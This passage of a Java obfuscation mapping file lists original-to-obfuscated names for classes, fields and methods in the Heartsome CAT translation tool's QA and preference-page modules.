srcContent -> vp + java.lang.String tgtContent -> vq + java.lang.String rowId -> OH + boolean isAutoQA -> ajO + int getLevel() -> getLevel + void setLevel(int) -> setLevel + java.lang.String getQaType() -> jh + void setQaType(java.lang.String) -> dZ + java.lang.String getQaTypeText() -> pq + void setQaTypeText(java.lang.String) -> fN + java.lang.String getMergeId() -> pr + void setMergeId(java.lang.String) -> fO + java.lang.String getFileName() -> getFileName + void setFileName(java.lang.String) -> setFileName + java.lang.String getLineNumber() -> getLineNumber + void setLineNumber(java.lang.String) -> setLineNumber + java.lang.String getSrcContent() -> getSrcContent + void setSrcContent(java.lang.String) -> setSrcContent + java.lang.String getTgtContent() -> getTgtContent + void setTgtContent(java.lang.String) -> setTgtContent + java.lang.String getRowId() -> getRowId + void setRowId(java.lang.String) -> setRowId + boolean isAutoQA() -> ny + void setAutoQA(boolean) -> O +net.heartsome.cat.ts.ui.qa.model.TransProgressFAResult -> net.heartsome.cat.ts.ui.qa.model.g: + int notTransPara -> OJ + int translatedPara -> OK + int notTransWords -> OL + int translatedWords -> OM + int lockedPara -> ON + int lockedWords -> Oo + int getNotTransPara() -> jn + int getTranslatedPara() -> jo + int getNotTransWords() -> jp + int getTranslatedWords() -> jq + int getLockedWords() -> iL + int getLockedPara() -> jr + void setNotTransPara(int) -> F + void setTranslatedPara(int) -> G + void setNotTransWords(int) -> H + void setTranslatedWords(int) -> I + void setLockedWords(int) -> C + void setLockedPara(int) -> J + int getTotalWords() -> iM + java.lang.String getNotTransWordsRatio() -> js + java.lang.String getTransWordsRatio() -> jt + int getTotalParas() -> iP + java.lang.String getNotTransParasRatio() -> ju + java.lang.String getTransParasRatio() -> jv +net.heartsome.cat.ts.ui.qa.model.WordsFAResult -> net.heartsome.cat.ts.ui.qa.model.h: + int newPara -> OP + int interRepeatPara -> OQ + int interMatchPara -> OR + int exterRepeatPara -> OS + int exterMatchPara -> OT + int lockedPara -> ON + int newWords -> OU + int interMatchWords -> OV + int exterMatchWords -> OW + java.util.Map allExterMatchWords -> OX + java.util.Map allInterMatchWords -> OY + int lockedWords -> Oo + int getNewPara() -> jw + int getInterRepeatPara() -> jx + int getInterMatchPara() -> jy + int getExterRepeatPara() -> jz + int getExterMatchPara() -> jA + int getNewWords() -> jB + int getInterMatchWords() -> jC + int getExterMatchWords() -> jD + int getLockedWords() -> iL + int getLockedPara() -> jr + void setNewPara(int) -> K + void setInterRepeatPara(int) -> L + void setInterMatchPara(int) -> M + void setExterRepeatPara(int) -> N + void setExterMatchPara(int) -> O + void setNewWords(int) -> P + void setInterMatchWords(int) -> Q + void setExterMatchWords(int) -> R + void setLockedWords(int) -> C + void setLockedPara(int) -> J + java.util.Map getAllExterMatchWords() -> jE + void setAllExterMatchWords(int,int) -> c + void setAllExterMatchWords(java.util.Map) -> q + java.util.Map getAllInterMatchWords() -> jF + void setAllInterMatchWords(int,int) -> d + void setAllInterMatchWords(java.util.Map) -> r + int getTotalWords() -> iM + int getTotalPara() -> jG + int getExterMatch(java.lang.String) -> ee + int getInterMatch(java.lang.String) -> ef + int getEqalWords(java.lang.String) -> eg +net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate -> net.heartsome.cat.ts.ui.qa.nonTransElement.a: + java.lang.String fileName -> fileName + net.heartsome.cat.ts.core.qa.QAXmlHandler handler -> MC + java.lang.String path -> path + org.slf4j.Logger logger -> logger + void validExist() -> jH + boolean openNonTransDB() -> jI + java.util.List getNonTransElements() -> jJ + java.util.List getNontransElementRegex() -> iC + boolean addNonTransElement(java.util.List) -> y + java.lang.String getConfig(java.util.List) -> z + void deleteElement(java.util.List) -> A + void deleteAllElement() -> iD + java.util.List getIgnorePara(java.lang.String,java.util.List) -> e + java.lang.String access$0(net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate) -> a +net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate$1 -> net.heartsome.cat.ts.ui.qa.nonTransElement.b: + net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate this$0 -> OZ + void run() -> run +net.heartsome.cat.ts.ui.qa.preference.EquivalentPage -> net.heartsome.cat.ts.ui.qa.preference.EquivalentPage: + java.lang.String ID -> ID + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + int defaultValue -> Pa + org.eclipse.swt.graphics.Image addImage -> Nu + org.eclipse.swt.graphics.Image deleteimage -> Nv + int index -> index + int selectionvalue -> Pb + int space_Number -> Pc + org.eclipse.swt.layout.GridData btn_data -> Pd + org.eclipse.swt.layout.GridData spinnerdata -> Pe + org.eclipse.swt.layout.GridData cmpData -> Pf + org.eclipse.swt.widgets.Composite matchParent -> Pg + org.eclipse.swt.widgets.Composite repeatCmp -> Ph + org.eclipse.swt.widgets.Composite equiCmp -> Pi + org.eclipse.swt.layout.GridData equiTxtData -> Pj + org.eclipse.swt.layout.GridData phLblData -> Pk + int btnCmpWidth -> Pl + boolean isInit -> sm + boolean isUltimate -> Pm + int MINRATE -> ajT + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void createRepeatCmp() -> jK + void validEquiTxt(org.eclipse.swt.widgets.Text) -> a + void createEqui(org.eclipse.swt.widgets.Composite) -> createEqui + void addEquiCmp(org.eclipse.swt.events.SelectionEvent,org.eclipse.swt.widgets.Button) -> addEquiCmp + void deleteEquiCmp(org.eclipse.swt.events.SelectionEvent) -> deleteEquiCmp + void selected(org.eclipse.swt.events.SelectionEvent) -> a + void performDefaults() -> performDefaults + boolean performOk() -> performOk + void createMatchEqui(java.lang.String) -> createMatchEqui + void dispose() -> dispose + void access$0(net.heartsome.cat.ts.ui.qa.preference.EquivalentPage,org.eclipse.swt.events.SelectionEvent) -> a + int access$1(net.heartsome.cat.ts.ui.qa.preference.EquivalentPage) -> a +net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$1 -> net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$1: + net.heartsome.cat.ts.ui.qa.preference.EquivalentPage this$0 -> Pn + org.eclipse.swt.widgets.Text val$equiTxt -> Po + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$2 -> net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$2: + net.heartsome.cat.ts.ui.qa.preference.EquivalentPage this$0 -> Pn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$3 -> net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$3: + net.heartsome.cat.ts.ui.qa.preference.EquivalentPage this$0 -> Pn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$4 -> net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$4: + net.heartsome.cat.ts.ui.qa.preference.EquivalentPage this$0 -> Pn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$5 -> net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$5: + net.heartsome.cat.ts.ui.qa.preference.EquivalentPage this$0 -> Pn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$6 -> net.heartsome.cat.ts.ui.qa.preference.EquivalentPage$6: + net.heartsome.cat.ts.ui.qa.preference.EquivalentPage this$0 -> Pn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage -> net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage: + java.lang.String ID -> ID + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + org.eclipse.swt.widgets.Button ignoreCaseBtn -> Pp + org.eclipse.swt.widgets.Button ignoreTagBtn -> Pq + org.eclipse.swt.widgets.Spinner contextSpinner -> Pr + org.eclipse.swt.widgets.Label tagPenaltyLbl -> XD + org.eclipse.swt.widgets.Spinner tagPenaltySpi -> XE + org.eclipse.swt.widgets.Button interRepateBtn -> QN + org.eclipse.swt.widgets.Button interMatchBtn -> QO + boolean isInit -> sm + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void initListener() -> initListener + void initValue() -> initValue + void setTagPenaltyEnable() -> er + void performDefaults() -> performDefaults + boolean performOk() -> performOk + void access$0(net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage) -> a + org.eclipse.swt.widgets.Button access$1(net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage) -> b + org.eclipse.swt.widgets.Button access$2(net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage) -> c +net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage$1 -> net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage$1: + net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage this$0 -> ahC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage$2 -> net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage$2: + net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage this$0 -> ahC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage: + java.lang.String ID -> ID + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button editBtn -> Cz + org.eclipse.swt.widgets.Button deleteBtn -> Cy + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.jface.viewers.ComboViewer comboViewer -> Py + net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate operate -> Pz + java.util.List internalElementList -> PA + java.util.List defaultTipList -> aii + java.util.List dataList -> dataList + boolean isInit -> sm + void initValue() -> initValue + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void initListener() -> initListener + void setAddModel() -> jL + boolean validIsInternalElementNonTip(net.heartsome.cat.ts.ui.qa.model.NontransElementBean) -> b + void addNonTransElement() -> addNonTransElement + void editNontransElement() -> iE + void deleteElement() -> deleteElement + void performDefaults() -> performDefaults + boolean performOk() -> performOk + void initInternalValue() -> initInternalValue + void addInternalElement() -> addInternalElement + void dispose() -> dispose + boolean isNull(java.lang.String) -> isNull + void main(java.lang.String[]) -> main + org.eclipse.jface.viewers.TableViewer access$0(net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage) -> a + void access$1(net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage) -> b + org.eclipse.jface.viewers.ComboViewer access$2(net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage) -> c + boolean access$3(net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage,net.heartsome.cat.ts.ui.qa.model.NontransElementBean) -> a + org.eclipse.swt.widgets.Button access$4(net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage) -> d + org.eclipse.swt.widgets.Button access$5(net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage) -> e + void access$6(net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage) -> f +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$1 -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$1: + boolean asc -> CG + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$2 -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$2: + boolean asc -> CG + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$3 -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$3: + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$3$1 -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$3$1: + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$3 this$1 -> QP + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$4 -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$4: + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$5 -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$5: + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$6 -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$6: + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$7 -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$7: + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$8 -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$8: + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$9 -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$9: + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$NonTransElementCmbProvider -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$NonTransElementCmbProvider: + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$NonTransElementTableProvider -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$NonTransElementTableProvider: + int index -> index + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage this$0 -> PC + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText + void update(org.eclipse.jface.viewers.ViewerCell) -> update + java.lang.String getToolTipText(java.lang.Object) -> getToolTipText + org.eclipse.swt.graphics.Point getToolTipShift(java.lang.Object) -> getToolTipShift +net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$TableSorter -> net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$TableSorter: + int name_ID -> CH + int content_ID -> QQ + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$TableSorter name_ASC -> name_ASC + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$TableSorter name_DESC -> name_DESC + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$TableSorter content_ASC -> content_ASC + net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage$TableSorter content_DESC -> content_DESC + int sortType -> CW + int compare(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.qa.preference.QAInitializer -> net.heartsome.cat.ts.ui.qa.preference.QAInitializer: + boolean isUltimate -> Pm + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.ts.ui.qa.preference.QAInstalPage -> net.heartsome.cat.ts.ui.qa.preference.QAInstalPage: + java.lang.String ID -> ID + org.slf4j.Logger logger -> logger + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + java.util.Map qaItemId_Name_Class -> Ow + org.eclipse.swt.widgets.Button batchTermBtn -> PD + org.eclipse.swt.widgets.Button batchParaBtn -> PE + org.eclipse.swt.widgets.Button batchNumberBtn -> PF + org.eclipse.swt.widgets.Button batchTagBtn -> PG + org.eclipse.swt.widgets.Button batchNonTransBtn -> PH + org.eclipse.swt.widgets.Button batchSpaceOfParaBtn -> PI + org.eclipse.swt.widgets.Button batchParaCompleteBtn -> PJ + org.eclipse.swt.widgets.Button batchTgtLengthLimitBtn -> PK + org.eclipse.swt.widgets.Button batchSpellBtn -> PL + org.eclipse.swt.widgets.Button autoTermBtn -> PM + org.eclipse.swt.widgets.Button autoNumberBtn -> PN + org.eclipse.swt.widgets.Button autoTagBtn -> PP + org.eclipse.swt.widgets.Button autoNonTransBtn -> PQ + org.eclipse.swt.widgets.Button autoSpaceOfParaBtn -> PR + org.eclipse.swt.widgets.Button autoParaCompleteBtn -> PS + org.eclipse.swt.widgets.Button autoTgtLengthLimitBtn -> PT + org.eclipse.swt.widgets.Button autoSpellBtn -> PU + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer termCmb -> PV + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer paraCmb -> PW + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer numberCmb -> PX + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer tagCmb -> PY + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer nonTransCmb -> PZ + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer spaceOfParaCmb -> Qa + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer paraCompleteCmb -> Qb + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer tgtLengthLimitCmb -> Qc + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer spellCmb -> Qd + boolean isInit -> sm + java.lang.String CONSTANT_BATCHQA -> Qe + java.lang.String CONSTANT_AUTOQA -> Qf + java.lang.String CONSTANT_TIPLEVEL -> Qg + java.lang.String errorTip -> OF + java.lang.String warTip -> Qh + java.util.List CONSTANT_COMBOVALUE -> Qi + org.eclipse.swt.graphics.Image errorImg -> errorImg + org.eclipse.swt.graphics.Image warnImg -> Qj + org.eclipse.swt.widgets.Button whenApprovalBtn -> Ql + org.eclipse.swt.widgets.Button whenAddToDbBtn -> Qm + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent + void initValue() -> initValue + void performDefaults() -> performDefaults + boolean performOk() -> performOk + void main(java.lang.String[]) -> main + void createTableCombo(org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer) -> a + void setAutoItemSelected() -> nB + void setAutoItemEnable(boolean) -> Q + java.lang.String access$0() -> hi + org.eclipse.swt.graphics.Image access$1(net.heartsome.cat.ts.ui.qa.preference.QAInstalPage) -> a + org.eclipse.swt.graphics.Image access$2(net.heartsome.cat.ts.ui.qa.preference.QAInstalPage) -> b +net.heartsome.cat.ts.ui.qa.preference.QAInstalPage$QATipsLabelProvider -> net.heartsome.cat.ts.ui.qa.preference.QAInstalPage$QATipsLabelProvider: + java.util.Map imageCache -> Ey + net.heartsome.cat.ts.ui.qa.preference.QAInstalPage this$0 -> Qn + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText + void dispose() -> dispose +net.heartsome.cat.ts.ui.qa.preference.QAPage -> net.heartsome.cat.ts.ui.qa.preference.QAPage: + java.lang.String ID -> ID + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + org.eclipse.swt.widgets.Button contextBtn -> Qo + org.eclipse.swt.widgets.Button fullMatchBtn -> Qp + org.eclipse.swt.widgets.Button lockedBtn -> Qq + org.eclipse.swt.widgets.Button sameSourceBtn -> Qr + org.eclipse.swt.widgets.Button srcIgnorceCaseBtn -> Qs + org.eclipse.swt.widgets.Button srcIgnorceTagBtn -> Qt + org.eclipse.swt.widgets.Button sameTargetBtn -> Qu + org.eclipse.swt.widgets.Button tarIgnorceCaseBtn -> Qv + org.eclipse.swt.widgets.Button tarIgnorceTagBtn -> Qw + org.eclipse.swt.widgets.Button minBtn -> Qx + org.eclipse.swt.widgets.Button maxBtn -> Qy + org.eclipse.swt.widgets.Text minTxt -> Qz + org.eclipse.swt.widgets.Text maxTxt -> QA + boolean isInit -> sm + java.lang.String isNumericRegex -> ajU + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void addParaGroup(org.eclipse.swt.widgets.Composite) -> addParaGroup + void addTgtLengthGroup(org.eclipse.swt.widgets.Composite) -> J + boolean validMinValue(java.lang.String) -> eS + boolean validMaxValue(java.lang.String) -> eT + void setInitValue() -> jM + void performDefaults() -> performDefaults + void init(org.eclipse.ui.IWorkbench) -> init + boolean performOk() -> performOk + void initListener() -> initListener + boolean access$0(net.heartsome.cat.ts.ui.qa.preference.QAPage,java.lang.String) -> a + boolean access$1(net.heartsome.cat.ts.ui.qa.preference.QAPage,java.lang.String) -> b + org.eclipse.swt.widgets.Button access$2(net.heartsome.cat.ts.ui.qa.preference.QAPage) -> c + org.eclipse.swt.widgets.Button access$3(net.heartsome.cat.ts.ui.qa.preference.QAPage) -> d + org.eclipse.swt.widgets.Button access$4(net.heartsome.cat.ts.ui.qa.preference.QAPage) -> e + org.eclipse.swt.widgets.Button access$5(net.heartsome.cat.ts.ui.qa.preference.QAPage) -> f + org.eclipse.swt.widgets.Button access$6(net.heartsome.cat.ts.ui.qa.preference.QAPage) -> g + org.eclipse.swt.widgets.Button access$7(net.heartsome.cat.ts.ui.qa.preference.QAPage) -> h +net.heartsome.cat.ts.ui.qa.preference.QAPage$1 -> net.heartsome.cat.ts.ui.qa.preference.QAPage$1: + net.heartsome.cat.ts.ui.qa.preference.QAPage this$0 -> QD + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.ts.ui.qa.preference.QAPage$10 -> net.heartsome.cat.ts.ui.qa.preference.QAPage$10: + net.heartsome.cat.ts.ui.qa.preference.QAPage this$0 -> QD + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.QAPage$2 -> net.heartsome.cat.ts.ui.qa.preference.QAPage$2: + net.heartsome.cat.ts.ui.qa.preference.QAPage this$0 -> QD + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.ts.ui.qa.preference.QAPage$3 -> net.heartsome.cat.ts.ui.qa.preference.QAPage$3: + net.heartsome.cat.ts.ui.qa.preference.QAPage this$0 -> QD + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.preference.QAPage$4 -> net.heartsome.cat.ts.ui.qa.preference.QAPage$4: + net.heartsome.cat.ts.ui.qa.preference.QAPage this$0 -> QD + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.preference.QAPage$5 -> net.heartsome.cat.ts.ui.qa.preference.QAPage$5: + net.heartsome.cat.ts.ui.qa.preference.QAPage this$0 -> QD + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.QAPage$6 -> net.heartsome.cat.ts.ui.qa.preference.QAPage$6: + net.heartsome.cat.ts.ui.qa.preference.QAPage this$0 -> QD + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.QAPage$7 -> net.heartsome.cat.ts.ui.qa.preference.QAPage$7: + net.heartsome.cat.ts.ui.qa.preference.QAPage this$0 -> QD + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.QAPage$8 -> net.heartsome.cat.ts.ui.qa.preference.QAPage$8: + net.heartsome.cat.ts.ui.qa.preference.QAPage this$0 -> QD + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.QAPage$9 -> net.heartsome.cat.ts.ui.qa.preference.QAPage$9: + net.heartsome.cat.ts.ui.qa.preference.QAPage this$0 -> QD + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.SpellPage -> net.heartsome.cat.ts.ui.qa.preference.SpellPage: + java.lang.String ID -> ID + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + org.slf4j.Logger LOGGER -> LOGGER + boolean isInit -> sm + org.eclipse.swt.widgets.Button aspellBtn -> QR + org.eclipse.swt.widgets.Button hunspellBtn -> QS + org.eclipse.swt.widgets.Button realTimeSpellBtn -> QT + org.eclipse.swt.widgets.TabFolder tabFolder -> QU + org.eclipse.swt.widgets.TabItem hunspellTabItem -> QV + org.eclipse.swt.widgets.TabItem aspellTabItem -> QW + org.eclipse.swt.widgets.Button ignoreNontransBtn -> QX + org.eclipse.swt.widgets.Button ignoreDigitalFirstBtn -> QY + org.eclipse.swt.widgets.Button ignoreUpperCaseFirstBtn -> QZ + org.eclipse.swt.widgets.Button ignoreAllUpperCaseBtn -> akI + java.util.List languages -> KJ + java.lang.String configFilePath -> Ra + org.eclipse.swt.widgets.Text txtCommandPath -> Rb + org.eclipse.swt.widgets.Button btnBrowse -> Hg + org.eclipse.swt.widgets.Button btnUTF8 -> Rc + org.eclipse.swt.widgets.Button btnRefresh -> Rd + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer cmbLang -> Hk + org.eclipse.jface.viewers.ComboViewer cmbDefaultDic -> Re + org.eclipse.swt.widgets.Button btnAdd -> KP + org.eclipse.swt.widgets.Button btnRemove -> Rf + org.eclipse.swt.widgets.Table table -> table + java.util.Map langMap -> Rg + java.lang.String bundlePath -> Rh + net.heartsome.cat.ts.core.qa.QAXmlHandler xmlHandler -> Mj + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void checkAspellConfigureFile() -> iU + void addSpellInstalGroup(org.eclipse.swt.widgets.Composite) -> I + void createHunspellCmp() -> jN + void createAspellCmp() -> jO + void initProperty() -> ie + void initListener() -> initListener + java.lang.String[] getDictionaries(java.lang.String) -> getDictionaries + void addLangAndDicToTable(java.util.List) -> v + void initData() -> z + void performDefaults() -> performDefaults + boolean performOk() -> performOk + org.eclipse.swt.widgets.TabFolder access$0(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> a + org.eclipse.swt.widgets.TabItem access$1(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> b + org.eclipse.swt.widgets.TabItem access$2(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> c + org.eclipse.swt.widgets.Button access$3(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> d + org.eclipse.swt.widgets.Text access$4(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> e + org.eclipse.swt.widgets.Button access$5(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> f + org.eclipse.jface.viewers.ComboViewer access$6(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> g + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer access$7(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> h + org.eclipse.swt.widgets.Table access$8(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> i + void access$9(net.heartsome.cat.ts.ui.qa.preference.SpellPage,java.util.List) -> a + net.heartsome.cat.ts.core.qa.QAXmlHandler access$10(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> j + java.lang.String access$11(net.heartsome.cat.ts.ui.qa.preference.SpellPage) -> k + org.slf4j.Logger access$12() -> jP +net.heartsome.cat.ts.ui.qa.preference.SpellPage$1 -> net.heartsome.cat.ts.ui.qa.preference.SpellPage$1: + net.heartsome.cat.ts.ui.qa.preference.SpellPage this$0 -> Ri + int compare(net.heartsome.cat.common.locale.Language,net.heartsome.cat.common.locale.Language) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.qa.preference.SpellPage$2 -> net.heartsome.cat.ts.ui.qa.preference.SpellPage$2: + 